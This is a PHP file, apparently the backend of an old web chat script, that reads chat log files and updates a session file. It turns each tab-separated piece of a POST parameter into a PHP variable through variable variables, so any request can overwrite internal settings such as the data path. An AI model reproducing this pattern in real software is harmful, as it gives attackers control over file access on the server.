File: /home/asjudine/www/chat_pruebas/chat.php
<?php
$key =""; //# Registration key
$password = ""; //# Password to kick the users from the chat
$log = "Off"; //# Chat session Log (Encoding UTF8), Set to one of: On | Off
$path = ""; //# The path to the directory where the datafile will be created.
//# NOTE: You must use forward slashes instead of backslashes
//# (e.g., "c:/chat/" instead of "c:\chat\").
//#####################
if(isset($dd))
{
$d=$dd;
}
else
{
foreach(array($_POST['dd'],$HTTP_POST_VARS['dd'])as$X)
{
if(isset($X))
{
$d=$X;break;
}
}
}
if(!isset($d))
{
echo "<html><body>Morevil Web Chat 4.23</body></html>";
exit();
}
if(strlen($d)>0xABC)
{
exit;
}
$q=explode("\t",str_replace("\\", "", $d));
foreach($q as $w)
{
$x=substr($w,0,1);$$x=substr($w,1);
}
$in=$path."chat.tmp";
$st=$path."chat.txt";
$zm=0xFFFF;
$V="\n<->$l\n-\n";
if(isset($u))
{
if(include("chat_module.php"))
{
f1();
}
else
{
$V.="e0Can not open chat_module.php\n";
}
}
if(isset($j) && $j >-1 && $j < 0x8000 && ($I = fopen($in, "r+")))
{
fseek($I, $j+21);
fwrite($I, time());
fclose($I);
}
if(isset($i) && $i != ($s = filesize($st)) && ($T = fopen($st, "r")))
{
if($s<$i)
{
$i-=$zm;
}
fseek($T, $i);
$V.= fread($T, $s-$i)."\ni$s\n"; fclose($T);
}
echo "$V\n<->e\n";
?>